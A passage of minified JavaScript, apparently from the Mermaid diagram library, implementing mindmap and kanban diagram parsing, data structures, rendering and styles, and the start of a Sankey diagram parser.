strict";Xt();q2e();gr();pt();La();qn();ch={DEFAULT:0,NO_BORDER:0,ROUNDED_RECT:1,RECT:2,CIRCLE:3,CLOUD:4,BANG:5,HEXAGON:6},TC=class{constructor(){this.nodes=[];this.count=0;this.elements={};this.getLogger=this.getLogger.bind(this),this.nodeType=ch,this.clear(),this.getType=this.getType.bind(this),this.getElementById=this.getElementById.bind(this),this.getParent=this.getParent.bind(this),this.getMindmap=this.getMindmap.bind(this),this.addNode=this.addNode.bind(this),this.decorateNode=this.decorateNode.bind(this)}static{o(this,"MindmapDB")}clear(){this.nodes=[],this.count=0,this.elements={},this.baseLevel=void 0}getParent(e){for(let r=this.nodes.length-1;r>=0;r--)if(this.nodes[r].level0?this.nodes[0]:null}addNode(e,r,n,i){X.info("addNode",e,r,n,i);let a=!1;this.nodes.length===0?(this.baseLevel=e,e=0,a=!0):this.baseLevel!==void 0&&(e=e-this.baseLevel,a=!1);let s=ge(),l=s.mindmap?.padding??ur.mindmap.padding;switch(i){case this.nodeType.ROUNDED_RECT:case this.nodeType.RECT:case this.nodeType.HEXAGON:l*=2;break}let u={id:this.count++,nodeId:sr(r,s),level:e,descr:sr(n,s),type:i,children:[],width:s.mindmap?.maxNodeWidth??ur.mindmap.maxNodeWidth,padding:l,isRoot:a},h=this.getParent(e);if(h)h.children.push(u),this.nodes.push(u);else if(a)this.nodes.push(u);else throw new Error(`There can be only one root. No parent could be found for ("${u.descr}")`)}getType(e,r){switch(X.debug("In get type",e,r),e){case"[":return this.nodeType.RECT;case"(":return r===")"?this.nodeType.ROUNDED_RECT:this.nodeType.CLOUD;case"((":return this.nodeType.CIRCLE;case")":return this.nodeType.CLOUD;case"))":return this.nodeType.BANG;case"{{":return this.nodeType.HEXAGON;default:return this.nodeType.DEFAULT}}setElementForId(e,r){this.elements[e]=r}getElementById(e){return this.elements[e]}decorateNode(e){if(!e)return;let r=ge(),n=this.nodes[this.nodes.length-1];e.icon&&(n.icon=sr(e.icon,r)),e.class&&(n.class=sr(e.class,r))}type2Str(e){switch(e){case this.nodeType.DEFAULT:return"no-border";case this.nodeType.RECT:return"rect";case this.nodeType.ROUNDED_RECT:return"rounded-rect";case this.nodeType.CIRCLE:return"circle";case this.nodeType.CLOUD:return"cloud";case this.nodeType.BANG:return"bang";case this.nodeType.HEXAGON:return"hexgon";default:return"no-border"}}assignSections(e,r){if(e.level===0?e.section=void 0:e.section=r,e.children)for(let[n,i]of e.children.entries()){let a=e.level===0?n:r;this.assignSections(i,a)}}flattenNodes(e,r){let n=["mindmap-node"];e.isRoot===!0?n.push("section-root","section--1"):e.section!==void 0&&n.push(`section-${e.section}`),e.class&&n.push(e.class);let i=n.join(" "),a=o(l=>{switch(l){case ch.CIRCLE:return"mindmapCircle";case ch.RECT:return"rect";case ch.ROUNDED_RECT:return"rounded";case ch.CLOUD:return"cloud";case ch.BANG:return"bang";case ch.HEXAGON:return"hexagon";case ch.DEFAULT:return"defaultMindmapNode";case ch.NO_BORDER:default:return"rect"}},"getShapeFromType"),s={id:e.id.toString(),domId:"node_"+e.id.toString(),label:e.descr,isGroup:!1,shape:a(e.type),width:e.width,height:e.height??0,padding:e.padding,cssClasses:i,cssStyles:[],look:"default",icon:e.icon,x:e.x,y:e.y,level:e.level,nodeId:e.nodeId,type:e.type,section:e.section};if(r.push(s),e.children)for(let l of e.children)this.flattenNodes(l,r)}generateEdges(e,r){if(e.children)for(let n of e.children){let i="edge";n.section!==void 0&&(i+=` section-edge-${n.section}`);let a=e.level+1;i+=` edge-depth-${a}`;let s={id:`edge_${e.id}_${n.id}`,start:e.id.toString(),end:n.id.toString(),type:"normal",curve:"basis",thickness:"normal",look:"default",classes:i,depth:e.level,section:n.section};r.push(s),this.generateEdges(n,r)}}getData(){let e=this.getMindmap(),r=ge(),i=eV().layout!==void 0,a=r;if(i||(a.layout="cose-bilkent"),!e)return{nodes:[],edges:[],config:a};X.debug("getData: mindmapRoot",e,r),this.assignSections(e);let s=[],l=[];this.flattenNodes(e,s),this.generateEdges(e,l),X.debug(`getData: processed ${s.length} nodes and ${l.length} edges`);let u=new Map;for(let h of s)u.set(h.id,{shape:h.shape,width:h.width,height:h.height,padding:h.padding});return{nodes:s,edges:l,config:a,rootNode:e,markers:["point"],direction:"TB",nodeSpacing:50,rankSpacing:50,shapes:Object.fromEntries(u),type:"mindmap",diagramId:"mindmap-"+H$()}}getLogger(){return X}}});var Att,Y2e,X2e=N(()=>{"use strict";pt();ep();Nf();Mf();La();Att=o(async(t,e,r,n)=>{X.debug(`Rendering mindmap diagram +`+t);let i=n.db,a=i.getData(),s=Vo(e,a.config.securityLevel);a.type=n.type,a.layoutAlgorithm=$c(a.config.layout,{fallback:"cose-bilkent"}),a.diagramId=e,i.getMindmap()&&(a.nodes.forEach(u=>{u.shape==="rounded"?(u.radius=15,u.taper=15,u.stroke="none",u.width=0,u.padding=15):u.shape==="circle"?u.padding=10:u.shape==="rect"&&(u.width=0,u.padding=10)}),await Qo(a,s),Ws(s,a.config.mindmap?.padding??ur.mindmap.padding,"mindmapDiagram",a.config.mindmap?.useMaxWidth??ur.mindmap.useMaxWidth))},"draw"),Y2e={draw:Att}});var _tt,Dtt,j2e,K2e=N(()=>{"use strict";eo();_tt=o(t=>{let e="";for(let r=0;r` + .edge { + stroke-width: 3; + } + ${_tt(t)} + .section-root rect, .section-root path, .section-root circle, .section-root polygon { + fill: ${t.git0}; + } + .section-root text { + fill: ${t.gitBranchLabel0}; + } + .section-root span { + color: ${t.gitBranchLabel0}; + } + .section-2 span { + color: ${t.gitBranchLabel0}; + } + .icon-container { + height:100%; + display: flex; + justify-content: center; + align-items: center; + } + .edge { + fill: none; + } + .mindmap-node-label { + dy: 1em; + alignment-baseline: middle; + text-anchor: middle; + dominant-baseline: middle; + text-align: center; + } +`,"getStyles"),j2e=Dtt});var Q2e={};dr(Q2e,{diagram:()=>Ltt});var Ltt,Z2e=N(()=>{"use strict";$2e();W2e();X2e();K2e();Ltt={get db(){return new TC},renderer:Y2e,parser:F2e,styles:j2e}});var q$,txe,rxe=N(()=>{"use strict";q$=(function(){var t=o(function(A,C,R,I){for(R=R||{},I=A.length;I--;R[A[I]]=C);return R},"o"),e=[1,4],r=[1,13],n=[1,12],i=[1,15],a=[1,16],s=[1,20],l=[1,19],u=[6,7,8],h=[1,26],f=[1,24],d=[1,25],p=[6,7,11],m=[1,31],g=[6,7,11,24],y=[1,6,13,16,17,20,23],v=[1,35],x=[1,36],b=[1,6,7,11,13,16,17,20,23],T=[1,38],S={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,mindMap:4,spaceLines:5,SPACELINE:6,NL:7,KANBAN:8,document:9,stop:10,EOF:11,statement:12,SPACELIST:13,node:14,shapeData:15,ICON:16,CLASS:17,nodeWithId:18,nodeWithoutId:19,NODE_DSTART:20,NODE_DESCR:21,NODE_DEND:22,NODE_ID:23,SHAPE_DATA:24,$accept:0,$end:1},terminals_:{2:"error",6:"SPACELINE",7:"NL",8:"KANBAN",11:"EOF",13:"SPACELIST",16:"ICON",17:"CLASS",20:"NODE_DSTART",21:"NODE_DESCR",22:"NODE_DEND",23:"NODE_ID",24:"SHAPE_DATA"},productions_:[0,[3,1],[3,2],[5,1],[5,2],[5,2],[4,2],[4,3],[10,1],[10,1],[10,1],[10,2],[10,2],[9,3],[9,2],[12,3],[12,2],[12,2],[12,2],[12,1],[12,2],[12,1],[12,1],[12,1],[12,1],[14,1],[14,1],[19,3],[18,1],[18,4],[15,2],[15,1]],performAction:o(function(C,R,I,L,E,D,_){var O=D.length-1;switch(E){case 6:case 7:return L;case 8:L.getLogger().trace("Stop NL ");break;case 9:L.getLogger().trace("Stop EOF ");break;case 11:L.getLogger().trace("Stop NL2 ");break;case 12:L.getLogger().trace("Stop EOF2 ");break;case 15:L.getLogger().info("Node: ",D[O-1].id),L.addNode(D[O-2].length,D[O-1].id,D[O-1].descr,D[O-1].type,D[O]);break;case 16:L.getLogger().info("Node: ",D[O].id),L.addNode(D[O-1].length,D[O].id,D[O].descr,D[O].type);break;case 17:L.getLogger().trace("Icon: ",D[O]),L.decorateNode({icon:D[O]});break;case 18:case 23:L.decorateNode({class:D[O]});break;case 19:L.getLogger().trace("SPACELIST");break;case 20:L.getLogger().trace("Node: ",D[O-1].id),L.addNode(0,D[O-1].id,D[O-1].descr,D[O-1].type,D[O]);break;case 21:L.getLogger().trace("Node: ",D[O].id),L.addNode(0,D[O].id,D[O].descr,D[O].type);break;case 22:L.decorateNode({icon:D[O]});break;case 27:L.getLogger().trace("node found ..",D[O-2]),this.$={id:D[O-1],descr:D[O-1],type:L.getType(D[O-2],D[O])};break;case 28:this.$={id:D[O],descr:D[O],type:0};break;case 29:L.getLogger().trace("node found ..",D[O-3]),this.$={id:D[O-3],descr:D[O-1],type:L.getType(D[O-2],D[O])};break;case 30:this.$=D[O-1]+D[O];break;case 31:this.$=D[O];break}},"anonymous"),table:[{3:1,4:2,5:3,6:[1,5],8:e},{1:[3]},{1:[2,1]},{4:6,6:[1,7],7:[1,8],8:e},{6:r,7:[1,10],9:9,12:11,13:n,14:14,16:i,17:a,18:17,19:18,20:s,23:l},t(u,[2,3]),{1:[2,2]},t(u,[2,4]),t(u,[2,5]),{1:[2,6],6:r,12:21,13:n,14:14,16:i,17:a,18:17,19:18,20:s,23:l},{6:r,9:22,12:11,13:n,14:14,16:i,17:a,18:17,19:18,20:s,23:l},{6:h,7:f,10:23,11:d},t(p,[2,24],{18:17,19:18,14:27,16:[1,28],17:[1,29],20:s,23:l}),t(p,[2,19]),t(p,[2,21],{15:30,24:m}),t(p,[2,22]),t(p,[2,23]),t(g,[2,25]),t(g,[2,26]),t(g,[2,28],{20:[1,32]}),{21:[1,33]},{6:h,7:f,10:34,11:d},{1:[2,7],6:r,12:21,13:n,14:14,16:i,17:a,18:17,19:18,20:s,23:l},t(y,[2,14],{7:v,11:x}),t(b,[2,8]),t(b,[2,9]),t(b,[2,10]),t(p,[2,16],{15:37,24:m}),t(p,[2,17]),t(p,[2,18]),t(p,[2,20],{24:T}),t(g,[2,31]),{21:[1,39]},{22:[1,40]},t(y,[2,13],{7:v,11:x}),t(b,[2,11]),t(b,[2,12]),t(p,[2,15],{24:T}),t(g,[2,30]),{22:[1,41]},t(g,[2,27]),t(g,[2,29])],defaultActions:{2:[2,1],6:[2,2]},parseError:o(function(C,R){if(R.recoverable)this.trace(C);else{var I=new Error(C);throw I.hash=R,I}},"parseError"),parse:o(function(C){var R=this,I=[0],L=[],E=[null],D=[],_=this.table,O="",M=0,P=0,B=0,F=2,G=1,$=D.slice.call(arguments,1),U=Object.create(this.lexer),j={yy:{}};for(var te in this.yy)Object.prototype.hasOwnProperty.call(this.yy,te)&&(j.yy[te]=this.yy[te]);U.setInput(C,j.yy),j.yy.lexer=U,j.yy.parser=this,typeof U.yylloc>"u"&&(U.yylloc={});var Y=U.yylloc;D.push(Y);var oe=U.options&&U.options.ranges;typeof j.yy.parseError=="function"?this.parseError=j.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function J(Be){I.length=I.length-2*Be,E.length=E.length-Be,D.length=D.length-Be}o(J,"popStack");function ue(){var Be;return Be=L.pop()||U.lex()||G,typeof Be!="number"&&(Be instanceof Array&&(L=Be,Be=L.pop()),Be=R.symbols_[Be]||Be),Be}o(ue,"lex");for(var re,ee,Z,K,ae,Q,de={},ne,Te,q,Ve;;){if(Z=I[I.length-1],this.defaultActions[Z]?K=this.defaultActions[Z]:((re===null||typeof re>"u")&&(re=ue()),K=_[Z]&&_[Z][re]),typeof K>"u"||!K.length||!K[0]){var pe="";Ve=[];for(ne in _[Z])this.terminals_[ne]&&ne>F&&Ve.push("'"+this.terminals_[ne]+"'");U.showPosition?pe="Parse error on line "+(M+1)+`: +`+U.showPosition()+` +Expecting `+Ve.join(", ")+", got '"+(this.terminals_[re]||re)+"'":pe="Parse error on line "+(M+1)+": Unexpected "+(re==G?"end of input":"'"+(this.terminals_[re]||re)+"'"),this.parseError(pe,{text:U.match,token:this.terminals_[re]||re,line:U.yylineno,loc:Y,expected:Ve})}if(K[0]instanceof Array&&K.length>1)throw new Error("Parse Error: multiple actions possible at state: "+Z+", token: "+re);switch(K[0]){case 1:I.push(re),E.push(U.yytext),D.push(U.yylloc),I.push(K[1]),re=null,ee?(re=ee,ee=null):(P=U.yyleng,O=U.yytext,M=U.yylineno,Y=U.yylloc,B>0&&B--);break;case 2:if(Te=this.productions_[K[1]][1],de.$=E[E.length-Te],de._$={first_line:D[D.length-(Te||1)].first_line,last_line:D[D.length-1].last_line,first_column:D[D.length-(Te||1)].first_column,last_column:D[D.length-1].last_column},oe&&(de._$.range=[D[D.length-(Te||1)].range[0],D[D.length-1].range[1]]),Q=this.performAction.apply(de,[O,P,M,j.yy,K[1],E,D].concat($)),typeof Q<"u")return Q;Te&&(I=I.slice(0,-1*Te*2),E=E.slice(0,-1*Te),D=D.slice(0,-1*Te)),I.push(this.productions_[K[1]][0]),E.push(de.$),D.push(de._$),q=_[I[I.length-2]][I[I.length-1]],I.push(q);break;case 3:return!0}}return!0},"parse")},w=(function(){var A={EOF:1,parseError:o(function(R,I){if(this.yy.parser)this.yy.parser.parseError(R,I);else throw new Error(R)},"parseError"),setInput:o(function(C,R){return this.yy=R||this.yy||{},this._input=C,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var C=this._input[0];this.yytext+=C,this.yyleng++,this.offset++,this.match+=C,this.matched+=C;var R=C.match(/(?:\r\n?|\n).*/g);return R?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),C},"input"),unput:o(function(C){var R=C.length,I=C.split(/(?:\r\n?|\n)/g);this._input=C+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-R),this.offset-=R;var L=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),I.length-1&&(this.yylineno-=I.length-1);var E=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:I?(I.length===L.length?this.yylloc.first_column:0)+L[L.length-I.length].length-I[0].length:this.yylloc.first_column-R},this.options.ranges&&(this.yylloc.range=[E[0],E[0]+this.yyleng-R]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(C){this.unput(this.match.slice(C))},"less"),pastInput:o(function(){var C=this.matched.substr(0,this.matched.length-this.match.length);return(C.length>20?"...":"")+C.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var C=this.match;return C.length<20&&(C+=this._input.substr(0,20-C.length)),(C.substr(0,20)+(C.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var C=this.pastInput(),R=new Array(C.length+1).join("-");return C+this.upcomingInput()+` +`+R+"^"},"showPosition"),test_match:o(function(C,R){var I,L,E;if(this.options.backtrack_lexer&&(E={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(E.yylloc.range=this.yylloc.range.slice(0))),L=C[0].match(/(?:\r\n?|\n).*/g),L&&(this.yylineno+=L.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:L?L[L.length-1].length-L[L.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+C[0].length},this.yytext+=C[0],this.match+=C[0],this.matches=C,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(C[0].length),this.matched+=C[0],I=this.performAction.call(this,this.yy,this,R,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),I)return I;if(this._backtrack){for(var D in E)this[D]=E[D];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var C,R,I,L;this._more||(this.yytext="",this.match="");for(var E=this._currentRules(),D=0;DR[0].length)){if(R=I,L=D,this.options.backtrack_lexer){if(C=this.test_match(I,E[D]),C!==!1)return C;if(this._backtrack){R=!1;continue}else return!1}else if(!this.options.flex)break}return R?(C=this.test_match(R,E[L]),C!==!1?C:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var R=this.next();return R||this.lex()},"lex"),begin:o(function(R){this.conditionStack.push(R)},"begin"),popState:o(function(){var R=this.conditionStack.length-1;return R>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(R){return R=this.conditionStack.length-1-Math.abs(R||0),R>=0?this.conditionStack[R]:"INITIAL"},"topState"),pushState:o(function(R){this.begin(R)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(R,I,L,E){var D=E;switch(L){case 0:return this.pushState("shapeData"),I.yytext="",24;break;case 1:return this.pushState("shapeDataStr"),24;break;case 2:return this.popState(),24;break;case 3:let _=/\n\s*/g;return I.yytext=I.yytext.replace(_,"
    "),24;break;case 4:return 24;case 5:this.popState();break;case 6:return R.getLogger().trace("Found comment",I.yytext),6;break;case 7:return 8;case 8:this.begin("CLASS");break;case 9:return this.popState(),17;break;case 10:this.popState();break;case 11:R.getLogger().trace("Begin icon"),this.begin("ICON");break;case 12:return R.getLogger().trace("SPACELINE"),6;break;case 13:return 7;case 14:return 16;case 15:R.getLogger().trace("end icon"),this.popState();break;case 16:return R.getLogger().trace("Exploding node"),this.begin("NODE"),20;break;case 17:return R.getLogger().trace("Cloud"),this.begin("NODE"),20;break;case 18:return R.getLogger().trace("Explosion Bang"),this.begin("NODE"),20;break;case 19:return R.getLogger().trace("Cloud Bang"),this.begin("NODE"),20;break;case 20:return this.begin("NODE"),20;break;case 21:return this.begin("NODE"),20;break;case 22:return this.begin("NODE"),20;break;case 23:return this.begin("NODE"),20;break;case 24:return 13;case 25:return 23;case 26:return 11;case 27:this.begin("NSTR2");break;case 28:return"NODE_DESCR";case 29:this.popState();break;case 30:R.getLogger().trace("Starting NSTR"),this.begin("NSTR");break;case 31:return R.getLogger().trace("description:",I.yytext),"NODE_DESCR";break;case 32:this.popState();break;case 33:return this.popState(),R.getLogger().trace("node end ))"),"NODE_DEND";break;case 34:return this.popState(),R.getLogger().trace("node end )"),"NODE_DEND";break;case 35:return this.popState(),R.getLogger().trace("node end ...",I.yytext),"NODE_DEND";break;case 36:return this.popState(),R.getLogger().trace("node end (("),"NODE_DEND";break;case 37:return this.popState(),R.getLogger().trace("node end (-"),"NODE_DEND";break;case 38:return this.popState(),R.getLogger().trace("node end (-"),"NODE_DEND";break;case 39:return this.popState(),R.getLogger().trace("node end (("),"NODE_DEND";break;case 40:return this.popState(),R.getLogger().trace("node end (("),"NODE_DEND";break;case 41:return R.getLogger().trace("Long description:",I.yytext),21;break;case 42:return R.getLogger().trace("Long description:",I.yytext),21;break}},"anonymous"),rules:[/^(?:@\{)/i,/^(?:["])/i,/^(?:["])/i,/^(?:[^\"]+)/i,/^(?:[^}^"]+)/i,/^(?:\})/i,/^(?:\s*%%.*)/i,/^(?:kanban\b)/i,/^(?::::)/i,/^(?:.+)/i,/^(?:\n)/i,/^(?:::icon\()/i,/^(?:[\s]+[\n])/i,/^(?:[\n]+)/i,/^(?:[^\)]+)/i,/^(?:\))/i,/^(?:-\))/i,/^(?:\(-)/i,/^(?:\)\))/i,/^(?:\))/i,/^(?:\(\()/i,/^(?:\{\{)/i,/^(?:\()/i,/^(?:\[)/i,/^(?:[\s]+)/i,/^(?:[^\(\[\n\)\{\}@]+)/i,/^(?:$)/i,/^(?:["][`])/i,/^(?:[^`"]+)/i,/^(?:[`]["])/i,/^(?:["])/i,/^(?:[^"]+)/i,/^(?:["])/i,/^(?:[\)]\))/i,/^(?:[\)])/i,/^(?:[\]])/i,/^(?:\}\})/i,/^(?:\(-)/i,/^(?:-\))/i,/^(?:\(\()/i,/^(?:\()/i,/^(?:[^\)\]\(\}]+)/i,/^(?:.+(?!\(\())/i],conditions:{shapeDataEndBracket:{rules:[],inclusive:!1},shapeDataStr:{rules:[2,3],inclusive:!1},shapeData:{rules:[1,4,5],inclusive:!1},CLASS:{rules:[9,10],inclusive:!1},ICON:{rules:[14,15],inclusive:!1},NSTR2:{rules:[28,29],inclusive:!1},NSTR:{rules:[31,32],inclusive:!1},NODE:{rules:[27,30,33,34,35,36,37,38,39,40,41,42],inclusive:!1},INITIAL:{rules:[0,6,7,8,11,12,13,16,17,18,19,20,21,22,23,24,25,26],inclusive:!0}}};return A})();S.lexer=w;function k(){this.yy={}}return o(k,"Parser"),k.prototype=S,S.Parser=k,new k})();q$.parser=q$;txe=q$});var ol,Y$,W$,X$,Itt,Ott,nxe,Ptt,Btt,Ui,Ftt,$tt,ztt,Gtt,Vtt,Utt,Htt,ixe,axe=N(()=>{"use strict";Xt();gr();pt();La();w2();ol=[],Y$=[],W$=0,X$={},Itt=o(()=>{ol=[],Y$=[],W$=0,X$={}},"clear"),Ott=o(t=>{if(ol.length===0)return null;let e=ol[0].level,r=null;for(let n=ol.length-1;n>=0;n--)if(ol[n].level===e&&!r&&(r=ol[n]),ol[n].levell.parentId===i.id);for(let l of s){let u={id:l.id,parentId:i.id,label:sr(l.label??"",n),isGroup:!1,ticket:l?.ticket,priority:l?.priority,assigned:l?.assigned,icon:l?.icon,shape:"kanbanItem",level:l.level,rx:5,ry:5,cssStyles:["text-align: left"]};e.push(u)}}return{nodes:e,edges:t,other:{},config:ge()}},"getData"),Btt=o((t,e,r,n,i)=>{let a=ge(),s=a.mindmap?.padding??ur.mindmap.padding;switch(n){case Ui.ROUNDED_RECT:case Ui.RECT:case Ui.HEXAGON:s*=2}let l={id:sr(e,a)||"kbn"+W$++,level:t,label:sr(r,a),width:a.mindmap?.maxNodeWidth??ur.mindmap.maxNodeWidth,padding:s,isGroup:!1};if(i!==void 0){let h;i.includes(` +`)?h=i+` +`:h=`{ +`+i+` +}`;let f=Kh(h,{schema:jh});if(f.shape&&(f.shape!==f.shape.toLowerCase()||f.shape.includes("_")))throw new Error(`No such shape: ${f.shape}. Shape names should be lowercase.`);f?.shape&&f.shape==="kanbanItem"&&(l.shape=f?.shape),f?.label&&(l.label=f?.label),f?.icon&&(l.icon=f?.icon.toString()),f?.assigned&&(l.assigned=f?.assigned.toString()),f?.ticket&&(l.ticket=f?.ticket.toString()),f?.priority&&(l.priority=f?.priority)}let u=Ott(t);u?l.parentId=u.id||"kbn"+W$++:Y$.push(l),ol.push(l)},"addNode"),Ui={DEFAULT:0,NO_BORDER:0,ROUNDED_RECT:1,RECT:2,CIRCLE:3,CLOUD:4,BANG:5,HEXAGON:6},Ftt=o((t,e)=>{switch(X.debug("In get type",t,e),t){case"[":return Ui.RECT;case"(":return e===")"?Ui.ROUNDED_RECT:Ui.CLOUD;case"((":return Ui.CIRCLE;case")":return Ui.CLOUD;case"))":return Ui.BANG;case"{{":return Ui.HEXAGON;default:return Ui.DEFAULT}},"getType"),$tt=o((t,e)=>{X$[t]=e},"setElementForId"),ztt=o(t=>{if(!t)return;let e=ge(),r=ol[ol.length-1];t.icon&&(r.icon=sr(t.icon,e)),t.class&&(r.cssClasses=sr(t.class,e))},"decorateNode"),Gtt=o(t=>{switch(t){case Ui.DEFAULT:return"no-border";case Ui.RECT:return"rect";case Ui.ROUNDED_RECT:return"rounded-rect";case Ui.CIRCLE:return"circle";case Ui.CLOUD:return"cloud";case Ui.BANG:return"bang";case Ui.HEXAGON:return"hexgon";default:return"no-border"}},"type2Str"),Vtt=o(()=>X,"getLogger"),Utt=o(t=>X$[t],"getElementById"),Htt={clear:Itt,addNode:Btt,getSections:nxe,getData:Ptt,nodeType:Ui,getType:Ftt,setElementForId:$tt,decorateNode:ztt,type2Str:Gtt,getLogger:Vtt,getElementById:Utt},ixe=Htt});var qtt,sxe,oxe=N(()=>{"use strict";Xt();pt();tu();Ei();La();cw();bw();qtt=o(async(t,e,r,n)=>{X.debug(`Rendering kanban diagram +`+t);let a=n.db.getData(),s=ge();s.htmlLabels=!1;let l=aa(e),u=l.append("g");u.attr("class","sections");let h=l.append("g");h.attr("class","items");let f=a.nodes.filter(v=>v.isGroup),d=0,p=10,m=[],g=25;for(let v of f){let x=s?.kanban?.sectionWidth||200;d=d+1,v.x=x*d+(d-1)*p/2,v.width=x,v.y=0,v.height=x*3,v.rx=5,v.ry=5,v.cssClasses=v.cssClasses+" section-"+d;let b=await Sm(u,v);g=Math.max(g,b?.labelBBox?.height),m.push(b)}let y=0;for(let v of f){let x=m[y];y=y+1;let b=s?.kanban?.sectionWidth||200,T=-b*3/2+g,S=T,w=a.nodes.filter(C=>C.parentId===v.id);for(let C of w){if(C.isGroup)throw new Error("Groups within groups are not allowed in Kanban diagrams");C.x=v.x,C.width=b-1.5*p;let I=(await Cm(h,C,{config:s})).node().getBBox();C.y=S+I.height/2,await P2(C),S=C.y+I.height/2+p/2}let k=x.cluster.select("rect"),A=Math.max(S-T+3*p,50)+(g-25);k.attr("height",A)}ic(void 0,l,s.mindmap?.padding??ur.kanban.padding,s.mindmap?.useMaxWidth??ur.kanban.useMaxWidth)},"draw"),sxe={draw:qtt}});var Wtt,Ytt,lxe,cxe=N(()=>{"use strict";eo();yg();Wtt=o(t=>{let e="";for(let n=0;nt.darkMode?Pt(n,i):Rt(n,i),"adjuster");for(let n=0;n` + .edge { + stroke-width: 3; + } + ${Wtt(t)} + .section-root rect, .section-root path, .section-root circle, .section-root polygon { + fill: ${t.git0}; + } + .section-root text { + fill: ${t.gitBranchLabel0}; + } + .icon-container { + height:100%; + display: flex; + justify-content: center; + align-items: center; + } + .edge { + fill: none; + } + .cluster-label, .label { + color: ${t.textColor}; + fill: ${t.textColor}; + } + .kanban-label { + dy: 1em; + alignment-baseline: middle; + text-anchor: middle; + dominant-baseline: middle; + text-align: center; + } + ${zc()} +`,"getStyles"),lxe=Ytt});var uxe={};dr(uxe,{diagram:()=>Xtt});var Xtt,hxe=N(()=>{"use strict";rxe();axe();oxe();cxe();Xtt={db:ixe,renderer:sxe,parser:txe,styles:lxe}});var j$,A4,pxe=N(()=>{"use strict";j$=(function(){var t=o(function(l,u,h,f){for(h=h||{},f=l.length;f--;h[l[f]]=u);return h},"o"),e=[1,9],r=[1,10],n=[1,5,10,12],i={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,SANKEY:4,NEWLINE:5,csv:6,opt_eof:7,record:8,csv_tail:9,EOF:10,"field[source]":11,COMMA:12,"field[target]":13,"field[value]":14,field:15,escaped:16,non_escaped:17,DQUOTE:18,ESCAPED_TEXT:19,NON_ESCAPED_TEXT:20,$accept:0,$end:1},terminals_:{2:"error",4:"SANKEY",5:"NEWLINE",10:"EOF",11:"field[source]",12:"COMMA",13:"field[target]",14:"field[value]",18:"DQUOTE",19:"ESCAPED_TEXT",20:"NON_ESCAPED_TEXT"},productions_:[0,[3,4],[6,2],[9,2],[9,0],[7,1],[7,0],[8,5],[15,1],[15,1],[16,3],[17,1]],performAction:o(function(u,h,f,d,p,m,g){var y=m.length-1;switch(p){case 7:let v=d.findOrCreateNode(m[y-4].trim().replaceAll('""','"')),x=d.findOrCreateNode(m[y-2].trim().replaceAll('""','"')),b=parseFloat(m[y].trim());d.addLink(v,x,b);break;case 8:case 9:case 11:this.$=m[y];break;case 10:this.$=m[y-1];break}},"anonymous"),table:[{3:1,4:[1,2]},{1:[3]},{5:[1,3]},{6:4,8:5,15:6,16:7,17:8,18:e,20:r},{1:[2,6],7:11,10:[1,12]},t(r,[2,4],{9:13,5:[1,14]}),{12:[1,15]},t(n,[2,8]),t(n,[2,9]),{19:[1,16]},t(n,[2,11]),{1:[2,1]},{1:[2,5]},t(r,[2,2]),{6:17,8:5,15:6,16:7,17:8,18:e,20:r},{15:18,16:7,17:8,18:e,20:r},{18:[1,19]},t(r,[2,3]),{12:[1,20]},t(n,[2,10]),{15:21,16:7,17:8,18:e,20:r},t([1,5,10],[2,7])],defaultActions:{11:[2,1],12:[2,5]},parseError:o(function(u,h){if(h.recoverable)this.trace(u);else{var f=new Error(u);throw f.hash=h,f}},"parseError"),parse:o(function(u){var h=this,f=[0],d=[],p=[null],m=[],g=this.table,y="",v=0,x=0,b=0,T=2,S=1,w=m.slice.call(arguments,1),k=Object.create(this.lexer),A={yy:{}};for(var C in this.yy)Object.prototype.hasOwnProperty.call(this.yy,C)&&(A.yy[C]=this.yy[C]);k.setInput(u,A.yy),A.yy.lexer=k,A.yy.parser=this,typeof k.yylloc>"u"&&(k.yylloc={});var 